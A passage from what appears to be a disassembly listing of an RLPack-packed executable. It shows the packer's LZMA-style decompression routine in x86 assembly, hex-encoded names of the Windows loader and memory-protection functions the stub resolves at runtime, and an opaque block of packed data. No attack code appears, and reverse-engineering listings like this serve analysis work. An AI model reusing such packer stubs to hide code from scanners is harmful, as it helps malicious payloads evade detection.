inc dword ptr [ebp-8] mov [ebp+0Ch], edi loc_51E6CA: ; CODE XREF: .RLPack:0051E6B1j mov ecx, [ecx] mov edi, eax shr edi, 0Bh imul edi, ecx cmp [ebp+0Ch], edi jnb short loc_51E6F8 mov eax, edi mov edi, 800h sub edi, ecx shr edi, 5 add edi, ecx mov ecx, [ebp-2Ch] add edx, edx test esi, esi mov [ecx], edi jnz loc_51E778 jmp short loc_51E711 ; --------------------------------------------------------------------------- loc_51E6F8: ; CODE XREF: .RLPack:0051E6D7j sub [ebp+0Ch], edi sub eax, edi mov edi, ecx shr edi, 5 sub ecx, edi test esi, esi mov edi, [ebp-2Ch] mov [edi], ecx lea edx, [edx+edx+1] jz short loc_51E778 loc_51E711: ; CODE XREF: .RLPack:0051E6F6j cmp edx, 100h jl loc_51E690 jmp short loc_51E780 ; --------------------------------------------------------------------------- loc_51E71F: ; CODE XREF: .RLPack:0051E67Aj ; .RLPack:0051E77Ej cmp eax, 1000000h mov ecx, [ebp-20h] lea edi, [ecx+edx*4] jnb short loc_51E743 mov esi, [ebp-8] mov ecx, [ebp+0Ch] movzx esi, byte ptr [esi] shl ecx, 8 or ecx, esi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_51E743: ; CODE XREF: .RLPack:0051E72Aj mov ecx, [edi] mov esi, eax shr esi, 0Bh imul esi, ecx cmp [ebp+0Ch], esi jnb short loc_51E766 mov eax, esi mov esi, 800h sub esi, ecx shr esi, 5 add esi, ecx mov [edi], esi add edx, edx jmp short loc_51E778 ; --------------------------------------------------------------------------- loc_51E766: ; CODE XREF: .RLPack:0051E750j sub [ebp+0Ch], esi sub eax, esi mov esi, ecx shr esi, 5 sub ecx, esi mov [edi], ecx lea edx, [edx+edx+1] loc_51E778: ; CODE XREF: .RLPack:0051E6F0j ; .RLPack:0051E70Fj ... cmp edx, 100h jl short loc_51E71F loc_51E780: ; CODE XREF: .RLPack:0051E71Dj mov esi, [ebp-10h] mov ecx, [ebp+8] inc dword ptr [ebp-10h] cmp dword ptr [ebp-0Ch], 4 mov [ebp-1], dl mov [ecx+esi], dl jge short loc_51E79E and dword ptr [ebp-0Ch], 0 jmp loc_51E607 ; --------------------------------------------------------------------------- loc_51E79E: ; CODE XREF: .RLPack:0051E793j cmp dword ptr [ebp-0Ch], 0Ah jge short loc_51E7AD sub dword ptr [ebp-0Ch], 3 jmp loc_51E607 ; --------------------------------------------------------------------------- loc_51E7AD: ; CODE XREF: .RLPack:0051E7A2j sub dword ptr [ebp-0Ch], 6 jmp loc_51E607 ; --------------------------------------------------------------------------- loc_51E7B6: ; CODE XREF: .RLPack:0051E646j sub [ebp+0Ch], ebx mov edx, ecx shr edx, 5 sub ecx, edx mov edx, [ebp-0Ch] sub eax, ebx cmp eax, 1000000h mov [edi], ecx mov ecx, [ebp+10h] lea edx, [ecx+edx*4+300h] jnb short loc_51E7EF mov edi, [ebp-8] mov ecx, [ebp+0Ch] movzx edi, byte ptr [edi] shl ecx, 8 or ecx, edi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_51E7EF: ; CODE XREF: .RLPack:0051E7D6j mov ecx, [edx] mov edi, eax shr edi, 0Bh imul edi, ecx cmp [ebp+0Ch], edi jnb short loc_51E841 mov eax, edi mov edi, 800h sub edi, ecx shr edi, 5 add edi, ecx cmp dword ptr [ebp-0Ch], 7 mov ecx, [ebp-18h] mov [ebp-28h], ecx mov ecx, [ebp-1Ch] mov [ebp-18h], ecx mov ecx, [ebp-14h] mov [edx], edi mov [ebp-1Ch], ecx jge short loc_51E82C and dword ptr [ebp-0Ch], 0 jmp short loc_51E833 ; --------------------------------------------------------------------------- loc_51E82C: ; CODE XREF: .RLPack:0051E824j mov dword ptr [ebp-0Ch], 3 loc_51E833: ; CODE XREF: .RLPack:0051E82Aj mov ecx, [ebp+10h] add ecx, 0CC8h jmp loc_51EA2A ; --------------------------------------------------------------------------- loc_51E841: ; CODE XREF: .RLPack:0051E7FCj sub [ebp+0Ch], edi sub eax, edi mov edi, ecx shr edi, 5 sub ecx, edi cmp eax, 1000000h mov [edx], ecx mov ecx, [ebp-0Ch] mov edx, [ebp+10h] lea edi, [edx+ecx*4+330h] jnb short loc_51E87A mov edx, [ebp-8] mov ecx, [ebp+0Ch] movzx edx, byte ptr [edx] shl ecx, 8 or ecx, edx shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_51E87A: ; CODE XREF: .RLPack:0051E861j mov ecx, [edi] mov edx, eax shr edx, 0Bh imul edx, ecx cmp [ebp+0Ch], edx jnb loc_51E92E mov ebx, 800h sub ebx, ecx shr ebx, 5 add ebx, ecx mov ecx, [ebp-0Ch] add ecx, 0Fh shl ecx, 4 mov [edi], ebx mov edi, [ebp+10h] add ecx, esi cmp edx, 1000000h mov eax, edx lea edi, [edi+ecx*4] jnb short loc_51E8CF mov ecx, [ebp+0Ch] shl edx, 8 mov eax, edx mov edx, [ebp-8] movzx edx, byte ptr [edx] shl ecx, 8 or ecx, edx inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_51E8CF: ; CODE XREF: .RLPack:0051E8B4j mov ecx, [edi] mov edx, eax shr edx, 0Bh imul edx, ecx cmp [ebp+0Ch], edx jnb short loc_51E91B mov esi, [ebp-10h] mov eax, edx mov edx, 800h sub edx, ecx shr edx, 5 add edx, ecx xor ecx, ecx cmp dword ptr [ebp-0Ch], 7 mov [edi], edx mov edx, [ebp+8] setnl cl lea ecx, [ecx+ecx+9] mov [ebp-0Ch], ecx mov ecx, [ebp-10h] sub ecx, [ebp-14h] inc dword ptr [ebp-10h] mov cl, [edx+ecx] mov [ebp-1], cl mov [edx+esi], cl jmp loc_51E607 ; --------------------------------------------------------------------------- loc_51E91B: ; CODE XREF: .RLPack:0051E8DCj sub [ebp+0Ch], edx sub eax, edx mov edx, ecx shr edx, 5 sub ecx, edx mov [edi], ecx jmp loc_51EA0E ; --------------------------------------------------------------------------- loc_51E92E: ; CODE XREF: .RLPack:0051E887j sub [ebp+0Ch], edx sub eax, edx mov edx, ecx shr edx, 5 sub ecx, edx cmp eax, 1000000h mov edx, [ebp+10h] mov [edi], ecx mov ecx, [ebp-0Ch] lea edx, [edx+ecx*4+360h] jnb short loc_51E967 mov edi, [ebp-8] mov ecx, [ebp+0Ch] movzx edi, byte ptr [edi] shl ecx, 8 or ecx, edi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_51E967: ; CODE XREF: .RLPack:0051E94Ej mov ecx, [edx] mov edi, eax shr edi, 0Bh imul edi, ecx cmp [ebp+0Ch], edi jnb short loc_51E98B mov eax, edi mov edi, 800h sub edi, ecx shr edi, 5 add edi, ecx mov ecx, [ebp-1Ch] mov [edx], edi jmp short loc_51EA05 ; --------------------------------------------------------------------------- loc_51E98B: ; CODE XREF: .RLPack:0051E974j sub [ebp+0Ch], edi sub eax, edi mov edi, ecx shr edi, 5 sub ecx, edi cmp eax, 1000000h mov [edx], ecx mov ecx, [ebp-0Ch] mov edx, [ebp+10h] lea edx, [edx+ecx*4+390h] jnb short loc_51E9C4 mov edi, [ebp-8] mov ecx, [ebp+0Ch] movzx edi, byte ptr [edi] shl ecx, 8 or ecx, edi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_51E9C4: ; CODE XREF: .RLPack:0051E9ABj mov ecx, [edx] mov edi, eax shr edi, 0Bh imul edi, ecx cmp [ebp+0Ch], edi jnb short loc_51E9E8 mov eax, edi mov edi, 800h sub edi, ecx shr edi, 5 add edi, ecx mov ecx, [ebp-18h] mov [edx], edi jmp short loc_51E9FF ; --------------------------------------------------------------------------- loc_51E9E8: ; CODE XREF: .RLPack:0051E9D1j sub [ebp+0Ch], edi sub eax, edi mov edi, ecx shr edi, 5 sub ecx, edi mov [edx], ecx mov edx, [ebp-18h] mov ecx, [ebp-28h] mov [ebp-28h], edx loc_51E9FF: ; CODE XREF: .RLPack:0051E9E6j mov edx, [ebp-1Ch] mov [ebp-18h], edx loc_51EA05: ; CODE XREF: .RLPack:0051E989j mov edx, [ebp-14h] mov [ebp-1Ch], edx mov [ebp-14h], ecx loc_51EA0E: ; CODE XREF: .RLPack:0051E929j xor ecx, ecx cmp dword ptr [ebp-0Ch], 7 setnl cl dec ecx and ecx, 0FFFFFFFDh add ecx, 0Bh mov [ebp-0Ch], ecx mov ecx, [ebp+10h] add ecx, 14D0h loc_51EA2A: ; CODE XREF: .RLPack:0051E83Cj cmp eax, 1000000h jnb short loc_51EA48 mov edi, [ebp-8] mov edx, [ebp+0Ch] movzx edi, byte ptr [edi] shl edx, 8 or edx, edi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], edx loc_51EA48: ; CODE XREF: .RLPack:0051EA2Fj mov edx, [ecx] mov edi, eax shr edi, 0Bh imul edi, edx cmp [ebp+0Ch], edi jnb short loc_51EA74 mov eax, edi mov edi, 800h sub edi, edx shr edi, 5 add edi, edx shl esi, 5 and dword ptr [ebp-24h], 0 mov [ecx], edi lea ecx, [ecx+esi+8] jmp short loc_51EAD2 ; --------------------------------------------------------------------------- loc_51EA74: ; CODE XREF: .RLPack:0051EA55j sub [ebp+0Ch], edi sub eax, edi mov edi, edx shr edi, 5 sub edx, edi cmp eax, 1000000h mov [ecx], edx jnb short loc_51EAA0 mov edi, [ebp-8] mov edx, [ebp+0Ch] movzx edi, byte ptr [edi] shl edx, 8 or edx, edi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], edx loc_51EAA0: ; CODE XREF: .RLPack:0051EA87j mov edx, [ecx+4] mov edi, eax shr edi, 0Bh imul edi, edx cmp [ebp+0Ch], edi jnb short loc_51EADB mov eax, edi mov edi, 800h sub edi, edx shr edi, 5 add edi, edx shl esi, 5 mov [ecx+4], edi lea ecx, [ecx+esi+208h] mov dword ptr [ebp-24h], 8 loc_51EAD2: ; CODE XREF: .RLPack:0051EA72j mov dword ptr [ebp-20h], 3 jmp short loc_51EAFE ; --------------------------------------------------------------------------- loc_51EADB: ; CODE XREF: .RLPack:0051EAAEj sub [ebp+0Ch], edi mov esi, edx shr esi, 5 sub edx, esi sub eax, edi mov [ecx+4], edx add ecx, 408h mov dword ptr [ebp-24h], 10h mov dword ptr [ebp-20h], 8 loc_51EAFE: ; CODE XREF: .RLPack:0051EAD9j mov edx, [ebp-20h] xor ebx, ebx mov [ebp-2Ch], edx inc ebx loc_51EB07: ; CODE XREF: .RLPack:0051EB60j cmp eax, 1000000h jnb short loc_51EB25 mov esi, [ebp-8] mov edx, [ebp+0Ch] movzx esi, byte ptr [esi] shl edx, 8 or edx, esi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], edx loc_51EB25: ; CODE XREF: .RLPack:0051EB0Cj mov edx, [ecx+ebx*4] mov esi, eax shr esi, 0Bh imul esi, edx cmp [ebp+0Ch], esi jnb short loc_51EB4A mov eax, esi mov esi, 800h sub esi, edx shr esi, 5 add esi, edx mov [ecx+ebx*4], esi add ebx, ebx jmp short loc_51EB5D ; --------------------------------------------------------------------------- loc_51EB4A: ; CODE XREF: .RLPack:0051EB33j sub [ebp+0Ch], esi sub eax, esi mov esi, edx shr esi, 5 sub edx, esi mov [ecx+ebx*4], edx lea ebx, [ebx+ebx+1] loc_51EB5D: ; CODE XREF: .RLPack:0051EB48j dec dword ptr [ebp-2Ch] jnz short loc_51EB07 mov ecx, [ebp-20h] xor edx, edx inc edx mov esi, edx shl esi, cl mov ecx, [ebp-24h] sub ecx, esi add ebx, ecx cmp dword ptr [ebp-0Ch], 4 mov [ebp-30h], ebx jge loc_51ED14 add dword ptr [ebp-0Ch], 7 cmp ebx, 4 jge short loc_51EB8D mov ecx, ebx jmp short loc_51EB90 ; --------------------------------------------------------------------------- loc_51EB8D: ; CODE XREF: .RLPack:0051EB87j push 3 pop ecx loc_51EB90: ; CODE XREF: .RLPack:0051EB8Bj mov esi, [ebp+10h] shl ecx, 8 lea edi, [esi+ecx+6C0h] mov dword ptr [ebp-2Ch], 6 loc_51EBA4: ; CODE XREF: .RLPack:0051EBFDj cmp eax, 1000000h jnb short loc_51EBC2 mov esi, [ebp-8] mov ecx, [ebp+0Ch] movzx esi, byte ptr [esi] shl ecx, 8 or ecx, esi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_51EBC2: ; CODE XREF: .RLPack:0051EBA9j mov ecx, [edi+edx*4] mov esi, eax shr esi, 0Bh imul esi, ecx cmp [ebp+0Ch], esi jnb short loc_51EBE7 mov eax, esi mov esi, 800h sub esi, ecx shr esi, 5 add esi, ecx mov [edi+edx*4], esi add edx, edx jmp short loc_51EBFA ; --------------------------------------------------------------------------- loc_51EBE7: ; CODE XREF: .RLPack:0051EBD0j sub [ebp+0Ch], esi sub eax, esi mov esi, ecx shr esi, 5 sub ecx, esi mov [edi+edx*4], ecx lea edx, [edx+edx+1] loc_51EBFA: ; CODE XREF: .RLPack:0051EBE5j dec dword ptr [ebp-2Ch] jnz short loc_51EBA4 sub edx, 40h cmp edx, 4 mov edi, edx jl loc_51ECE5 mov ecx, edx sar ecx, 1 and edi, 1 dec ecx or edi, 2 cmp edx, 0Eh mov [ebp-14h], ecx jge short loc_51EC32 shl edi, cl mov ecx, edi sub ecx, edx mov edx, [ebp+10h] lea ebx, [edx+ecx*4+0ABCh] jmp short loc_51EC78 ; --------------------------------------------------------------------------- loc_51EC32: ; CODE XREF: .RLPack:0051EC1Ej sub ecx, 4 loc_51EC35: ; CODE XREF: .RLPack:0051EC63j cmp eax, 1000000h jnb short loc_51EC53 mov esi, [ebp-8] mov edx, [ebp+0Ch] movzx esi, byte ptr [esi] shl edx, 8 or edx, esi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], edx loc_51EC53: ; CODE XREF: .RLPack:0051EC3Aj shr eax, 1 add edi, edi cmp [ebp+0Ch], eax jb short loc_51EC62 sub [ebp+0Ch], eax or edi, 1 loc_51EC62: ; CODE XREF: .RLPack:0051EC5Aj dec ecx jnz short loc_51EC35 mov ebx, [ebp+10h] add ebx, 0C88h shl edi, 4 mov dword ptr [ebp-14h], 4 loc_51EC78: ; CODE XREF: .RLPack:0051EC30j xor ecx, ecx inc ecx mov [ebp-20h], ebx mov [ebp-24h], ecx loc_51EC81: ; CODE XREF: .RLPack:0051ECE3j cmp eax, 1000000h jnb short loc_51EC9F mov esi, [ebp-8] mov edx, [ebp+0Ch] movzx esi, byte ptr [esi] shl edx, 8 or edx, esi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], edx loc_51EC9F: ; CODE XREF: .RLPack:0051EC86j mov edx, [ebx+ecx*4] mov esi, eax shr esi, 0Bh imul esi, edx cmp [ebp+0Ch], esi jnb short loc_51ECC4 mov eax, esi mov esi, 800h sub esi, edx shr esi, 5 add esi, edx mov [ebx+ecx*4], esi add ecx, ecx jmp short loc_51ECDD ; --------------------------------------------------------------------------- loc_51ECC4: ; CODE XREF: .RLPack:0051ECADj sub [ebp+0Ch], esi mov ebx, [ebp-20h] sub eax, esi mov esi, edx shr esi, 5 sub edx, esi or edi, [ebp-24h] mov [ebx+ecx*4], edx lea ecx, [ecx+ecx+1] loc_51ECDD: ; CODE XREF: .RLPack:0051ECC2j shl dword ptr [ebp-24h], 1 dec dword ptr [ebp-14h] jnz short loc_51EC81 loc_51ECE5: ; CODE XREF: .RLPack:0051EC07j inc edi mov [ebp-14h], edi jz short loc_51ED19 mov ebx, [ebp-30h] loc_51ECEE: ; CODE XREF: .RLPack:0051ED17j mov ecx, [ebp-10h] inc ebx sub ecx, edi inc ebx add ecx, [ebp+8] loc_51ECF8: ; CODE XREF: .RLPack:0051ED0Dj mov dl, [ecx] mov esi, [ebp-10h] mov edi, [ebp+8] dec ebx inc dword ptr [ebp-10h] inc ecx test ebx, ebx mov [ebp-1], dl mov [edi+esi], dl jnz short loc_51ECF8 jmp loc_51E607 ; --------------------------------------------------------------------------- loc_51ED14: ; CODE XREF: .RLPack:0051EB7Aj mov edi, [ebp-14h] jmp short loc_51ECEE ; --------------------------------------------------------------------------- loc_51ED19: ; CODE XREF: .RLPack:0051ECE9j mov eax, [ebp-10h] leave retn 0Ch ; --------------------------------------------------------------------------- dd 3 dup(0) dd 11ED48h, 11ED55h, 5 dup(0) dd 6E72656Bh, 32336C65h, 6C6C642Eh, 801D7700h, 80ADA07Ch dd 809A517Ch, 809AE47Ch, 801AD07Ch, 7Ch, 4C000000h, 4C64616Fh dd 61726269h, 417972h, 74654700h, 636F7250h, 72646441h dd 737365h, 72695600h, 6C617574h, 6F6C6C41h, 56000063h dd 75747269h, 72466C61h, 6565h, 74726956h, 506C6175h, 65746F72h dd 7463h, 1000h, 8, 20h, 320000h, 2 dup(400000h), 2 dup(0) dd 1000h, 7000h, 6, 2 dup(0) a?: unicode 0, <+?>,0 a?_0 db '?',0 dd 11A000h, 1000h, 11DBF6h, 8000h, 11DEB4h, 9000h, 0 dd 0C5942B00h, 996B32E4h, 2841DF60h, 0DCF8532Eh, 3AE8CFF9h dd 6912523Fh, 0FF550275h, 2F34C297h, 2809065h, 0BC252DEAh dd 0F960EEAh, 0DDD25827h, 10025F61h, 0A1A8309Ch, 0DA5152FAh dd 4DF3A736h, 2DDEDDEFh, 52B8B282h, 4BB145CCh, 0FE0AF66Eh dd 2F296696h, 0CA970490h, 0B4D93A7Ah, 7CD27B4Dh, 1442CD45h dd 1E2D1A82h, 32685CA0h, 2AC35240h, 8C4C22E3h, 0A0A2564Eh dd 7C8ED24Bh, 71E3C21Fh, 3C9AA36Fh, 70BC1C5Fh, 0A300E8DCh dd 0FE4351F0h, 67636D8h, 0D35CD6C6h, 113C5CE0h, 794545B3h dd 2D9CFA3Eh, 6642D7F3h, 1A181E03h, 0DB2A32DCh, 45620B81h dd 3DBF7E4Ah, 4AD6862Ch, 24563D0Eh, 0B76A0F21h, 0E95C3FB9h dd 4F9DD5D0h, 0DA41279Bh, 70D6F380h, 70BA07A5h, 7A0A5882h dd 28AC0F33h, 4FD93912h, 93D0ED7Ch, 0E6881152h, 927E35B8h dd 5720CF88h, 98B29A85h, 7EF2636Ah, 3982F8ECh, 0E56041FEh dd 86E766D2h, 6DF92D5Bh, 53B6A10Ch, 392EC9EAh, 78B4E96Fh dd 3D413927h, 0A5DEA553h, 0F1B539B1h, 0EB30782h, 9474C7B3h dd 0E5FF6D65h, 0E0D73Bh db 3 dup(0) _RLPack ends ; Section 3. (virtual address 0011F000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0011F000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 51F000h align 2000h _idata2 ends end start